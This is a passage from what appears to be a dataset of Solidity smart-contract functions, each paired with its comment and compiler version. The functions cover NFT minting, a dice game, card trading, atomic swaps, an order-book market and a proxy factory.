\"Epoch can be init only in order\");\n lastInitializedEpoch = epochId;\n // call the staking smart contract to init the epoch\n epochs[epochId] = _getPoolSize(epochId);\n }", "version": "0.6.12"} {"comment": "/*\n @notice This claims your deevy bag in L2.\n */", "function_code": "function warpLoot(\n uint256 lootId,\n uint256 maxSubmissionCost,\n uint256 maxGas,\n uint256 gasPriceBid\n ) external payable returns (uint256) {\n require(msg.value > 0, \"MSG_VALUE_IS_REQUIRED\");\n require(\n loot.ownerOf(lootId) == msg.sender,\n \"SENDER_ISNT_LOOT_ID_OWNER\"\n );\n\n bytes memory data =\n abi.encodeWithSelector(\n IDeevyBridgeMinter.warpBag.selector,\n msg.sender,\n lootId\n );\n\n uint256 ticketID =\n inbox.createRetryableTicket{value: msg.value}(\n l2Target,\n 0,\n maxSubmissionCost,\n msg.sender,\n msg.sender,\n maxGas,\n gasPriceBid,\n data\n );\n\n lootsToTickets[lootId] = ticketID;\n emit RetryableTicketCreated(ticketID);\n return ticketID;\n }", "version": "0.6.12"} {"comment": "// String helpers below were taken from Oraclize.\n// https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.4.sol", "function_code": "function strConcat(string _a, string _b) internal pure returns (string) {\r\n bytes memory _ba = bytes(_a);\r\n bytes memory _bb = bytes(_b);\r\n string memory ab = new string(_ba.length + _bb.length);\r\n bytes memory bab = bytes(ab);\r\n uint k = 0;\r\n for (uint i = 0; i < _ba.length; i++) bab[k++] = _ba[i];\r\n for (i = 0; i < _bb.length; i++) bab[k++] = _bb[i];\r\n return string(bab);\r\n }", "version": "0.4.24"} {"comment": "// Called initially to bootstrap the game", "function_code": "function bootstrap(\n uint _bootstrapWinnings\n )\n public\n onlyOwner\n returns (bool) {\n require(!isBootstrapped, \"Game already bootstrapped\");\n bootstrapWinnings = _bootstrapWinnings;\n revenue += _bootstrapWinnings;\n isBootstrapped = true;\n startTime = block.timestamp;\n weth.safeTransferFrom(msg.sender, address(this), _bootstrapWinnings);\n return true;\n }", "version": "0.8.7"} {"comment": "// Process random words from chainlink VRF2", "function_code": "function fulfillRandomWords(\n uint256 requestId, /* requestId */\n uint256[] memory randomWords\n ) internal override {\n for (uint i = 0; i < randomWords.length; i++) {\n diceRolls[++rollCount].roll = getFormattedNumber(randomWords[i]);\n diceRolls[rollCount].roller = rollRequests[requestId];\n\n // If the game was over between rolls - don't perform any of the below logic\n if (!isGameOver()) {\n if (diceRolls[rollCount].roll == winningNumber) {\n // User wins\n winner = diceRolls[rollCount];\n // Transfer revenue to winner\n collectFees();\n uint revenueSplit = getRevenueSplit();\n uint winnings = revenue - feesCollected - revenueSplit;\n weth.safeTransfer(winner.roller, winnings);\n emit LogGameOver(winner.roller, winnings);\n } else if (diceRolls[rollCount].roll >= revenueSplitRollThreshold) {\n totalRevenueSplitShares += 1;\n revenueSplitSharesPerUser[diceRolls[rollCount].roller] += 1;\n }\n\n if (diceRolls[rollCount].roll != winningNumber) {\n int diff = getDiff(diceRolls[rollCount].roll, winningNumber);\n int currentWinnerDiff = getDiff(currentWinner.roll, winningNumber);\n\n if (diff <= currentWinnerDiff) {\n currentWinner = diceRolls[rollCount];\n emit LogNewCurrentWinner(requestId, rollCount, diceRolls[rollCount].roll, diceRolls[rollCount].roller);\n }\n }\n } else\n emit LogDiscardedRollResult(requestId, rollCount, diceRolls[rollCount].roller);\n\n emit LogOnRollResult(requestId, rollCount, diceRolls[rollCount].roll, diceRolls[rollCount].roller);\n }\n }", "version": "0.8.7"} {"comment": "// Ends a game that is past it's duration without a winner", "function_code": "function endGame()\n public\n returns (bool) {\n require(\n hasGameDurationElapsed() && winner.roller == address(0), \n \"Game duration hasn't elapsed without a winner\"\n );\n winner = currentWinner;\n // Transfer revenue to winner\n collectFees();\n uint revenueSplit = getRevenueSplit();\n uint winnings = revenue - feesCollected - revenueSplit;\n weth.safeTransfer(winner.roller, winnings);\n emit LogGameOver(winner.roller, winnings);\n return true;\n }", "version": "0.8.7"} {"comment": "// Allows users to collect their share of revenue split after a game is over ", "function_code": "function collectRevenueSplit() external {\n require(isGameOver(), \"Game isn't over\");\n require(revenueSplitSharesPerUser[msg.sender] > 0, \"User does not have any revenue split shares\");\n require(revenueSplitCollectedPerUser[msg.sender] == 0, \"User has already collected revenue split\");\n uint revenueSplit = getRevenueSplit();\n uint userRevenueSplit = revenueSplit * revenueSplitSharesPerUser[msg.sender] / totalRevenueSplitShares; \n revenueSplitCollectedPerUser[msg.sender] = userRevenueSplit;\n weth.safeTransfer(msg.sender, userRevenueSplit);\n emit LogOnCollectRevenueSplit(msg.sender, userRevenueSplit);\n }", "version": "0.8.7"} {"comment": "// Roll dice once", "function_code": "function rollDice() external {\n require(isSingleRollEnabled, \"Single rolls are not currently enabled\");\n require(isBootstrapped, \"Game is not bootstrapped\");\n require(!isGameOver(), \"Game is over\");\n revenue += ticketSize;\n weth.safeTransferFrom(msg.sender, address(this), ticketSize);\n \n // Will revert if subscription is not set and funded.\n uint requestId = COORDINATOR.requestRandomWords(\n keyHash,\n s_subscriptionId,\n requestConfirmations,\n callbackGasLimit,\n 1\n );\n rollRequests[requestId] = msg.sender;\n\n emit LogNewRollRequest(requestId, msg.sender);\n }", "version": "0.8.7"} {"comment": "// Approve WETH once and roll multiple times", "function_code": "function rollMultipleDice(uint32 times) external {\n require(isBootstrapped, \"Game is not bootstrapped\");\n require(!isGameOver(), \"Game is over\");\n require(times > 1 && times <= 5, \"Should be >=1 and <=5 rolls in 1 txn\");\n uint total = ticketSize * times;\n revenue += total;\n weth.safeTransferFrom(msg.sender, address(this), total);\n \n // Will revert if subscription is not set and funded.\n uint requestId = COORDINATOR.requestRandomWords(\n keyHash,\n s_subscriptionId,\n requestConfirmations,\n callbackGasLimit,\n times\n );\n rollRequests[requestId] = msg.sender;\n emit LogNewRollRequest(requestId, msg.sender);\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev setAccessLevel for a user restricted to contract owner\r\n * @dev Ideally, check for whole number should be implemented (TODO)\r\n * @param _user address that access level is to be set for\r\n * @param _access uint256 level of access to give 0, 1, 2, 3.\r\n */", "function_code": "function setAccessLevel(\r\n address _user,\r\n uint256 _access\r\n )\r\n public\r\n adminAccessLevelOnly\r\n {\r\n require(\r\n accessLevel[_user] < 4,\r\n \"Cannot setAccessLevel for Admin Level Access User\"\r\n ); /// owner access not allowed to be set\r\n\r\n if (_access < 0 || _access > 4) {\r\n revert(\"erroneous access level\");\r\n } else {\r\n accessLevel[_user] = _access;\r\n }\r\n\r\n emit AccessLevelSet(_user, _access, msg.sender);\r\n }", "version": "0.5.1"} {"comment": "/// @dev External function to add a checklist item to our mystery set.\n/// Must have completed initial deploy, and can't add more than 56 items (because checklistId is a uint8).\n/// @param _playerId The player represented by this checklist item. (see StrikersPlayerList.sol)\n/// @param _tier This checklist item's rarity tier. (see Rarity Tier enum and corresponding tierLimits)", "function_code": "function addUnreleasedChecklistItem(uint8 _playerId, RarityTier _tier) external onlyOwner {\r\n require(deployStep == DeployStep.DoneInitialDeploy, \"Finish deploying the Originals and Iconics sets first.\");\r\n require(unreleasedCount() < 56, \"You can't add any more checklist items.\");\r\n require(_playerId < playerCount, \"This player doesn't exist in our player list.\");\r\n unreleasedChecklistItems.push(ChecklistItem({\r\n playerId: _playerId,\r\n tier: _tier\r\n }));\r\n }", "version": "0.4.24"} {"comment": "/// @dev Returns the mint limit for a given checklist item, based on its tier.\n/// @param _checklistId Which checklist item we need to get the limit for.\n/// @return How much of this checklist item we are allowed to mint.", "function_code": "function limitForChecklistId(uint8 _checklistId) external view returns (uint16) {\r\n RarityTier rarityTier;\r\n uint8 index;\r\n if (_checklistId < 100) { // Originals = #000 to #099\r\n rarityTier = originalChecklistItems[_checklistId].tier;\r\n } else if (_checklistId < 200) { // Iconics = #100 to #131\r\n index = _checklistId - 100;\r\n require(index < iconicsCount(), \"This Iconics checklist item doesn't exist.\");\r\n rarityTier = iconicChecklistItems[index].tier;\r\n } else { // Unreleased = #200 to max #255\r\n index = _checklistId - 200;\r\n require(index < unreleasedCount(), \"This Unreleased checklist item doesn't exist.\");\r\n rarityTier = unreleasedChecklistItems[index].tier;\r\n }\r\n return tierLimits[uint8(rarityTier)];\r\n }", "version": "0.4.24"} {"comment": "/// @dev For a given owner, returns two arrays. The first contains the IDs of every card owned\n/// by this address. The second returns the corresponding checklist ID for each of these cards.\n/// There are a few places we need this info in the web app and short of being able to return an\n/// actual array of Cards, this is the best solution we could come up with...", "function_code": "function cardAndChecklistIdsForOwner(address _owner) external view returns (uint256[], uint8[]) {\r\n uint256[] memory cardIds = ownedTokens[_owner];\r\n uint256 cardCount = cardIds.length;\r\n uint8[] memory checklistIds = new uint8[](cardCount);\r\n\r\n for (uint256 i = 0; i < cardCount; i++) {\r\n uint256 cardId = cardIds[i];\r\n checklistIds[i] = cards[cardId].checklistId;\r\n }\r\n\r\n return (cardIds, checklistIds);\r\n }", "version": "0.4.24"} {"comment": "/// @dev An internal method that creates a new card and stores it.\n/// Emits both a CardMinted and a Transfer event.\n/// @param _checklistId The ID of the checklistItem represented by the card (see Checklist.sol)\n/// @param _owner The card's first owner!", "function_code": "function _mintCard(\r\n uint8 _checklistId,\r\n address _owner\r\n )\r\n internal\r\n returns (uint256)\r\n {\r\n uint16 mintLimit = strikersChecklist.limitForChecklistId(_checklistId);\r\n require(mintLimit == 0 || mintedCountForChecklistId[_checklistId] < mintLimit, \"Can't mint any more of this card!\");\r\n uint16 serialNumber = ++mintedCountForChecklistId[_checklistId];\r\n Card memory newCard = Card({\r\n mintTime: uint32(now),\r\n checklistId: _checklistId,\r\n serialNumber: serialNumber\r\n });\r\n uint256 newCardId = cards.push(newCard) - 1;\r\n emit CardMinted(newCardId);\r\n _mint(_owner, newCardId);\r\n return newCardId;\r\n }", "version": "0.4.24"} {"comment": "/// @dev Allows the contract at packSaleAddress to mint cards.\n/// @param _checklistId The checklist item represented by this new card.\n/// @param _owner The card's first owner!\n/// @return The new card's ID.", "function_code": "function mintPackSaleCard(uint8 _checklistId, address _owner) external returns (uint256) {\r\n require(msg.sender == packSaleAddress, \"Only the pack sale contract can mint here.\");\r\n require(!outOfCirculation[_checklistId], \"Can't mint any more of this checklist item...\");\r\n return _mintCard(_checklistId, _owner);\r\n }", "version": "0.4.24"} {"comment": "/// @dev Allows the owner to mint cards from our Unreleased Set.\n/// @param _checklistId The checklist item represented by this new card. Must be >= 200.\n/// @param _owner The card's first owner!", "function_code": "function mintUnreleasedCard(uint8 _checklistId, address _owner) external onlyOwner {\r\n require(_checklistId >= 200, \"You can only use this to mint unreleased cards.\");\r\n require(!outOfCirculation[_checklistId], \"Can't mint any more of this checklist item...\");\r\n _mintCard(_checklistId, _owner);\r\n }", "version": "0.4.24"} {"comment": "/// @dev Allows the owner or the pack sale contract to prevent an Iconic or Unreleased card from ever being minted again.\n/// @param _checklistId The Iconic or Unreleased card we want to remove from circulation.", "function_code": "function pullFromCirculation(uint8 _checklistId) external {\r\n bool ownerOrPackSale = (msg.sender == owner) || (msg.sender == packSaleAddress);\r\n require(ownerOrPackSale, \"Only the owner or pack sale can take checklist items out of circulation.\");\r\n require(_checklistId >= 100, \"This function is reserved for Iconics and Unreleased sets.\");\r\n outOfCirculation[_checklistId] = true;\r\n emit PulledFromCirculation(_checklistId);\r\n }", "version": "0.4.24"} {"comment": "/// @dev Allows the maker to cancel a trade that hasn't been filled yet.\n/// @param _maker Address of the maker (i.e. trade creator).\n/// @param _makerCardId ID of the card the maker has agreed to give up.\n/// @param _taker The counterparty the maker wishes to trade with (if it's address(0), anybody can fill the trade!)\n/// @param _takerCardOrChecklistId If taker is the 0-address, then this is a checklist ID (e.g. \"any Lionel Messi\").\n/// If not, then it's a card ID (e.g. \"Lionel Messi #8/100\").\n/// @param _salt A uint256 timestamp to differentiate trades that have otherwise identical params (prevents replay attacks).", "function_code": "function cancelTrade(\r\n address _maker,\r\n uint256 _makerCardId,\r\n address _taker,\r\n uint256 _takerCardOrChecklistId,\r\n uint256 _salt)\r\n external\r\n {\r\n require(_maker == msg.sender, \"Only the trade creator can cancel this trade.\");\r\n\r\n bytes32 tradeHash = getTradeHash(\r\n _maker,\r\n _makerCardId,\r\n _taker,\r\n _takerCardOrChecklistId,\r\n _salt\r\n );\r\n\r\n require(tradeStates[tradeHash] == TradeState.Valid, \"This trade has already been cancelled or filled.\");\r\n tradeStates[tradeHash] = TradeState.Cancelled;\r\n emit TradeCancelled(tradeHash, _maker);\r\n }", "version": "0.4.24"} {"comment": "/// @dev Calculates Keccak-256 hash of a trade with specified parameters.\n/// @param _maker Address of the maker (i.e. trade creator).\n/// @param _makerCardId ID of the card the maker has agreed to give up.\n/// @param _taker The counterparty the maker wishes to trade with (if it's address(0), anybody can fill the trade!)\n/// @param _takerCardOrChecklistId If taker is the 0-address, then this is a checklist ID (e.g. \"any Lionel Messi\").\n/// If not, then it's a card ID (e.g. \"Lionel Messi #8/100\").\n/// @param _salt A uint256 timestamp to differentiate trades that have otherwise identical params (prevents replay attacks).\n/// @return Keccak-256 hash of trade.", "function_code": "function getTradeHash(\r\n address _maker,\r\n uint256 _makerCardId,\r\n address _taker,\r\n uint256 _takerCardOrChecklistId,\r\n uint256 _salt)\r\n public\r\n view\r\n returns (bytes32)\r\n {\r\n // Hashing the contract address prevents a trade from being replayed on any new trade contract we deploy.\r\n bytes memory packed = abi.encodePacked(this, _maker, _makerCardId, _taker, _takerCardOrChecklistId, _salt);\r\n return keccak256(packed);\r\n }", "version": "0.4.24"} {"comment": "/// @dev Verifies that a signed trade is valid.\n/// @param _signer Address of signer.\n/// @param _tradeHash Signed Keccak-256 hash.\n/// @param _v ECDSA signature parameter v.\n/// @param _r ECDSA signature parameters r.\n/// @param _s ECDSA signature parameters s.\n/// @return Validity of signature.", "function_code": "function isValidSignature(\r\n address _signer,\r\n bytes32 _tradeHash,\r\n uint8 _v,\r\n bytes32 _r,\r\n bytes32 _s)\r\n public\r\n pure\r\n returns (bool)\r\n {\r\n bytes memory packed = abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", _tradeHash);\r\n return _signer == ecrecover(keccak256(packed), _v, _r, _s);\r\n }", "version": "0.4.24"} {"comment": "// Start of whitelist and free mint implementation", "function_code": "function FreeWhitelistMint (uint256 _beautyAmount, bytes32[] calldata _merkleProof) external payable callerIsUser {\r\n require(_beautyAmount > 0);\r\n require(saleState == SaleState.Presale, \"Presale has not begun yet!\");\r\n require(whitelistMintsUsed[msg.sender] + _beautyAmount < 6, \"Amount exceeds your allocation.\");\r\n require(totalSupply() + _beautyAmount + amountForDevsRemaining <= collectionSize, \"Exceeds max supply.\");\r\n require(_verifyFreeMintStatus(msg.sender, _merkleProof), \"Address not on Whitelist.\");\r\n\r\n if (freeMintUsed[msg.sender] == false && freeRemaining != 0) {\r\n require(msg.value == mintPrice * (_beautyAmount - 1), \"Incorrect ETH amount.\");\r\n freeMintUsed[msg.sender] = true;\r\n freeRemaining -= 1;\r\n }\r\n else {\r\n require(msg.value == mintPrice * _beautyAmount, \"Incorrect ETH amount.\");\r\n }\r\n\r\n whitelistMintsUsed[msg.sender] += _beautyAmount;\r\n\r\n _safeMint(msg.sender, _beautyAmount);\r\n}", "version": "0.8.7"} {"comment": "//Owner Mint function", "function_code": "function AllowOwnerMint(uint256 _beautyAmount) external onlyOwner {\r\n require(_beautyAmount > 0);\r\n require(_beautyAmount <= amountForDevsRemaining, \"Not Enough Dev Tokens left\");\r\n amountForDevsRemaining -= _beautyAmount;\r\n require(totalSupply() + _beautyAmount <= collectionSize, \"Reached Max Supply.\");\r\n _safeMint(msg.sender, _beautyAmount); \r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev withdrawTokens allows the initial depositing user to withdraw tokens previously deposited\r\n * @param _user address of the user making the withdrawal\r\n * @param _amount uint256 of token to be withdrawn\r\n */", "function_code": "function withdrawTokens(address _user, uint256 _amount) public returns (bool) {\r\n\r\n // solium-ignore-next-line\r\n // require(tx.origin == _user, \"tx origin does not match _user\");\r\n \r\n uint256 currentBalance = userTokenBalance[_user];\r\n\r\n require(_amount <= currentBalance, \"Withdraw amount greater than current balance\");\r\n\r\n uint256 newBalance = currentBalance.sub(_amount);\r\n\r\n require(StakeToken(token).transfer(_user, _amount), \"error during token transfer\");\r\n\r\n /// Update user balance\r\n userTokenBalance[_user] = newBalance;\r\n\r\n /// update the total balance for the token\r\n totalTokenBalance = SafeMath.sub(totalTokenBalance, _amount);\r\n\r\n /// Fire event and return some goodies\r\n emit TokenWithdrawal(_user, _amount);\r\n emit UserBalanceChange(_user, currentBalance, newBalance);\r\n }", "version": "0.5.1"} {"comment": "/**\r\n * @dev Gets current Cryptobud Price\r\n */", "function_code": "function getNFTPrice() public view returns (uint256) {\r\n require(block.timestamp >= SALE_START_TIMESTAMP, \"Sale has not started\");\r\n require(totalSupply() < MAX_NFT_SUPPLY, \"Sale has already ended\");\r\n\r\n uint currentSupply = totalSupply();\r\n\r\n if (currentSupply >= 9996) {\r\n return 10 ether; // 9996-10000 10 ETH\r\n } else if (currentSupply >= 9900) {\r\n return 2 ether; // 9900-9995 2 ETH\r\n } else if (currentSupply >= 9000) {\r\n return 0.5 ether; // 9000-9989 0.5 ETH\r\n } else if (currentSupply >= 7000) {\r\n return 0.19 ether; // 7000-8999 0.19 ETH\r\n } else if (currentSupply >= 4000) {\r\n return 0.1 ether; // 4000 - 6999 0.1 ETH\r\n } else if (currentSupply >= 2000) {\r\n return 0.05 ether; // 2000 - 3999 0.05 ETH\r\n } else if (currentSupply >= 1000) {\r\n return 0.02 ether; // 1000 - 1999 0.02 ETH\r\n } else {\r\n return 0.01 ether; // 0 - 999 0.01 ETH \r\n }\r\n }", "version": "0.7.0"} {"comment": "/// @notice Initiates the atomic swap.\n///\n/// @param _swapID The unique atomic swap id.\n/// @param _withdrawTrader The address of the withdrawing trader.\n/// @param _secretLock The hash of the secret (Hash Lock).\n/// @param _timelock The unix timestamp when the swap expires.", "function_code": "function initiate(\r\n bytes32 _swapID,\r\n address _withdrawTrader,\r\n bytes32 _secretLock,\r\n uint256 _timelock\r\n ) external onlyInvalidSwaps(_swapID) payable {\r\n // Store the details of the swap.\r\n Swap memory swap = Swap({\r\n timelock: _timelock,\r\n value: msg.value,\r\n ethTrader: msg.sender,\r\n withdrawTrader: _withdrawTrader,\r\n secretLock: _secretLock,\r\n secretKey: 0x0\r\n });\r\n swaps[_swapID] = swap;\r\n swapStates[_swapID] = States.OPEN;\r\n\r\n // Logs open event\r\n emit LogOpen(_swapID, _withdrawTrader, _secretLock);\r\n }", "version": "0.4.24"} {"comment": "/// @notice Redeems an atomic swap.\n///\n/// @param _swapID The unique atomic swap id.\n/// @param _secretKey The secret of the atomic swap.", "function_code": "function redeem(bytes32 _swapID, bytes32 _secretKey) external onlyOpenSwaps(_swapID) onlyWithSecretKey(_swapID, _secretKey) {\r\n // Close the swap.\r\n Swap memory swap = swaps[_swapID];\r\n swaps[_swapID].secretKey = _secretKey;\r\n swapStates[_swapID] = States.CLOSED;\r\n /* solium-disable-next-line security/no-block-members */\r\n redeemedAt[_swapID] = now;\r\n\r\n // Transfer the ETH funds from this contract to the withdrawing trader.\r\n swap.withdrawTrader.transfer(swap.value);\r\n\r\n // Logs close event\r\n emit LogClose(_swapID, _secretKey);\r\n }", "version": "0.4.24"} {"comment": "/// @notice Refunds an atomic swap.\n///\n/// @param _swapID The unique atomic swap id.", "function_code": "function refund(bytes32 _swapID) external onlyOpenSwaps(_swapID) onlyExpirableSwaps(_swapID) {\r\n // Expire the swap.\r\n Swap memory swap = swaps[_swapID];\r\n swapStates[_swapID] = States.EXPIRED;\r\n\r\n // Transfer the ETH value from this contract back to the ETH trader.\r\n swap.ethTrader.transfer(swap.value);\r\n\r\n // Logs expire event\r\n emit LogExpire(_swapID);\r\n }", "version": "0.4.24"} {"comment": "/// @dev Withdraws ERC20 tokens from this contract\n/// (take care of reentrancy attack risk mitigation)", "function_code": "function _claimErc20(\n address token,\n address to,\n uint256 amount\n ) internal {\n // solhint-disable avoid-low-level-calls\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(SELECTOR_TRANSFER, to, amount)\n );\n require(\n success && (data.length == 0 || abi.decode(data, (bool))),\n \"claimErc20: TRANSFER_FAILED\"\n );\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Mints Masks\r\n */", "function_code": "function mintNFT(uint256 numberOfNfts) public payable {\r\n require(totalSupply() < MAX_NFT_SUPPLY, \"Sale has already ended\");\r\n require(numberOfNfts > 0, \"numberOfNfts cannot be 0\");\r\n require(numberOfNfts <= 20, \"You may not buy more than 20 NFTs at once\");\r\n require(totalSupply().add(numberOfNfts) <= MAX_NFT_SUPPLY, \"Exceeds MAX_NFT_SUPPLY\");\r\n require(getNFTPrice().mul(numberOfNfts) == msg.value, \"Ether value sent is not correct\");\r\n\r\n for (uint i = 0; i < numberOfNfts; i++) {\r\n uint mintIndex = totalSupply();\r\n if (block.timestamp < REVEAL_TIMESTAMP) {\r\n _mintedBeforeReveal[mintIndex] = true;\r\n }\r\n _safeMint(msg.sender, mintIndex);\r\n }\r\n\r\n /**\r\n * Source of randomness. Theoretical miner withhold manipulation possible but should be sufficient in a pragmatic sense\r\n */\r\n if (startingIndexBlock == 0 && (totalSupply() == MAX_NFT_SUPPLY || block.timestamp >= REVEAL_TIMESTAMP)) {\r\n startingIndexBlock = block.number;\r\n }\r\n }", "version": "0.7.0"} {"comment": "// Accept given `quantity` of an offer. Transfers funds from caller to\n// offer maker, and from market to caller.", "function_code": "function buy(uint id, uint quantity)\r\n public\r\n can_buy(id)\r\n synchronized\r\n returns (bool)\r\n {\r\n OfferInfo memory offer = offers[id];\r\n uint spend = mul(quantity, offer.buy_amt) / offer.pay_amt;\r\n\r\n require(uint128(spend) == spend);\r\n require(uint128(quantity) == quantity);\r\n\r\n // For backwards semantic compatibility.\r\n if (quantity == 0 || spend == 0 ||\r\n quantity > offer.pay_amt || spend > offer.buy_amt)\r\n {\r\n return false;\r\n }\r\n\r\n offers[id].pay_amt = sub(offer.pay_amt, quantity);\r\n offers[id].buy_amt = sub(offer.buy_amt, spend);\r\n require( offer.buy_gem.transferFrom(msg.sender, offer.owner, spend) );\r\n require( offer.pay_gem.transfer(msg.sender, quantity) );\r\n\r\n LogItemUpdate(id);\r\n LogTake(\r\n bytes32(id),\r\n keccak256(offer.pay_gem, offer.buy_gem),\r\n offer.owner,\r\n offer.pay_gem,\r\n offer.buy_gem,\r\n msg.sender,\r\n uint128(quantity),\r\n uint128(spend),\r\n uint64(now)\r\n );\r\n LogTrade(quantity, offer.pay_gem, spend, offer.buy_gem);\r\n\r\n if (offers[id].pay_amt == 0) {\r\n delete offers[id];\r\n }\r\n\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "// Cancel an offer. Refunds offer maker.", "function_code": "function cancel(uint id)\r\n public\r\n can_cancel(id)\r\n synchronized\r\n returns (bool success)\r\n {\r\n // read-only offer. Modify an offer by directly accessing offers[id]\r\n OfferInfo memory offer = offers[id];\r\n delete offers[id];\r\n\r\n require( offer.pay_gem.transfer(offer.owner, offer.pay_amt) );\r\n\r\n LogItemUpdate(id);\r\n LogKill(\r\n bytes32(id),\r\n keccak256(offer.pay_gem, offer.buy_gem),\r\n offer.owner,\r\n offer.pay_gem,\r\n offer.buy_gem,\r\n uint128(offer.pay_amt),\r\n uint128(offer.buy_amt),\r\n uint64(now)\r\n );\r\n\r\n success = true;\r\n }", "version": "0.4.25"} {"comment": "// Make a new offer. Takes funds from the caller into market escrow.", "function_code": "function offer(uint pay_amt, ERC20 pay_gem, uint buy_amt, ERC20 buy_gem)\r\n public\r\n can_offer\r\n synchronized\r\n returns (uint id)\r\n {\r\n require(uint128(pay_amt) == pay_amt);\r\n require(uint128(buy_amt) == buy_amt);\r\n require(pay_amt > 0);\r\n require(pay_gem != ERC20(0x0));\r\n require(buy_amt > 0);\r\n require(buy_gem != ERC20(0x0));\r\n require(pay_gem != buy_gem);\r\n\r\n OfferInfo memory info;\r\n info.pay_amt = pay_amt;\r\n info.pay_gem = pay_gem;\r\n info.buy_amt = buy_amt;\r\n info.buy_gem = buy_gem;\r\n info.owner = msg.sender;\r\n info.timestamp = uint64(now);\r\n id = _next_id();\r\n offers[id] = info;\r\n\r\n require( pay_gem.transferFrom(msg.sender, this, pay_amt) );\r\n\r\n LogItemUpdate(id);\r\n LogMake(\r\n bytes32(id),\r\n keccak256(pay_gem, buy_gem),\r\n msg.sender,\r\n pay_gem,\r\n buy_gem,\r\n uint128(pay_amt),\r\n uint128(buy_amt),\r\n uint64(now)\r\n );\r\n }", "version": "0.4.25"} {"comment": "// Make a new offer. Takes funds from the caller into market escrow.\n//\n// If matching is enabled:\n// * creates new offer without putting it in\n// the sorted list.\n// * available to authorized contracts only!\n// * keepers should call insert(id,pos)\n// to put offer in the sorted list.\n//\n// If matching is disabled:\n// * calls expiring market's offer().\n// * available to everyone without authorization.\n// * no sorting is done.\n//", "function_code": "function offer(\r\n uint pay_amt, //maker (ask) sell how much\r\n ERC20 pay_gem, //maker (ask) sell which token\r\n uint buy_amt, //taker (ask) buy how much\r\n ERC20 buy_gem //taker (ask) buy which token\r\n )\r\n public\r\n returns (uint)\r\n {\r\n require(!locked, \"Reentrancy attempt\");\r\n var fn = matchingEnabled ? _offeru : super.offer;\r\n return fn(pay_amt, pay_gem, buy_amt, buy_gem);\r\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Deploys a new proxy instance that DELEGATECALLs this contract\n * @dev Must be called on the implementation (reverts if a proxy is called)\n */", "function_code": "function createProxy() external returns (address proxy) {\n _throwProxy();\n\n // CREATE an EIP-1167 proxy instance with the target being this contract\n bytes20 target = bytes20(address(this));\n assembly {\n let initCode := mload(0x40)\n mstore(\n initCode,\n 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000\n )\n mstore(add(initCode, 0x14), target)\n mstore(\n add(initCode, 0x28),\n 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000\n )\n // note, 0x37 (55 bytes) is the init bytecode length\n // while the deployed bytecode length is 0x2d (45 bytes) only\n proxy := create(0, initCode, 0x37)\n }\n\n // Write this contract address into the proxy' \"implementation\" slot\n // (reentrancy attack impossible - this contract called)\n ProxyFactory(proxy).initProxy(address(this));\n\n emit NewProxy(proxy);\n }", "version": "0.8.4"} {"comment": "/// @dev Returns true if called on a proxy instance", "function_code": "function _isProxy() internal view virtual returns (bool) {\n // for a DELEGATECALLed contract, `this` and `extcodesize`\n // are the address and the code size of the calling contract\n // (for a CALLed contract, they are ones of that called contract)\n uint256 _size;\n address _this = address(this);\n assembly {\n _size := extcodesize(_this)\n }\n\n // shall be the same as the one the `createProxy` generates\n return _size == 45;\n }", "version": "0.8.4"} {"comment": "// 20 *10^7 MH total", "function_code": "function Mohi() public {\r\n balances[msg.sender] = total * 50/100;\r\n Transfer(0x0, msg.sender, total);\r\n\t\r\n\t\r\n balances[0x7ae3AB28486B245A7Eae3A9e15c334B61690D4B9] = total * 5 / 100;\r\n balances[0xBd9E735e84695A825FB0051B02514BA36C57112E] = total * 5 / 100;\r\n balances[0x6a5C43220cE62A6A5D11e2D11Cc9Ee9660893407] = total * 5 / 100;\r\n \r\n\t\r\n\t\r\n }", "version": "0.4.24"} {"comment": "// Only allows to withdraw non-core strategy tokens ~ this is over and above normal yield", "function_code": "function yearn(\r\n address _strategy,\r\n address _token,\r\n uint256 parts\r\n ) public {\r\n require(\r\n msg.sender == strategist || msg.sender == governance,\r\n \"!governance\"\r\n );\r\n // This contract should never have value in it, but just incase since this is a public call\r\n uint256 _before = IERC20(_token).balanceOf(address(this));\r\n IChickenPlateStrategy(_strategy).withdraw(_token);\r\n uint256 _after = IERC20(_token).balanceOf(address(this));\r\n if (_after > _before) {\r\n uint256 _amount = _after.sub(_before);\r\n address _want = IChickenPlateStrategy(_strategy).want();\r\n uint256[] memory _distribution;\r\n uint256 _expected;\r\n _before = IERC20(_want).balanceOf(address(this));\r\n IERC20(_token).safeApprove(onesplit, 0);\r\n IERC20(_token).safeApprove(onesplit, _amount);\r\n (_expected, _distribution) = OneSplitAudit(onesplit)\r\n .getExpectedReturn(_token, _want, _amount, parts, 0);\r\n OneSplitAudit(onesplit).swap(\r\n _token,\r\n _want,\r\n _amount,\r\n _expected,\r\n _distribution,\r\n 0\r\n );\r\n _after = IERC20(_want).balanceOf(address(this));\r\n if (_after > _before) {\r\n _amount = _after.sub(_before);\r\n earn(_want, _amount);\r\n }\r\n }\r\n }", "version": "0.6.12"} {"comment": "//insert offer into the sorted list\n//keepers need to use this function", "function_code": "function insert(\r\n uint id, //maker (ask) id\r\n uint pos //position to insert into\r\n )\r\n public\r\n returns (bool)\r\n {\r\n require(!locked, \"Reentrancy attempt\");\r\n require(!isOfferSorted(id)); //make sure offers[id] is not yet sorted\r\n require(isActive(id)); //make sure offers[id] is active\r\n\r\n _hide(id); //remove offer from unsorted offers list\r\n _sort(id, pos); //put offer into the sorted offers list\r\n LogInsert(msg.sender, id);\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "//set the minimum sell amount for a token\n// Function is used to avoid \"dust offers\" that have\n// very small amount of tokens to sell, and it would\n// cost more gas to accept the offer, than the value\n// of tokens received.", "function_code": "function setMinSell(\r\n ERC20 pay_gem, //token to assign minimum sell amount to\r\n uint dust //maker (ask) minimum sell amount\r\n )\r\n public\r\n auth\r\n note\r\n returns (bool)\r\n {\r\n _dust[pay_gem] = dust;\r\n LogMinSell(pay_gem, dust);\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "//--Risk-parameter-config-------------------------------------------", "function_code": "function mold(bytes32 param, uint val) public note auth {\r\n if (param 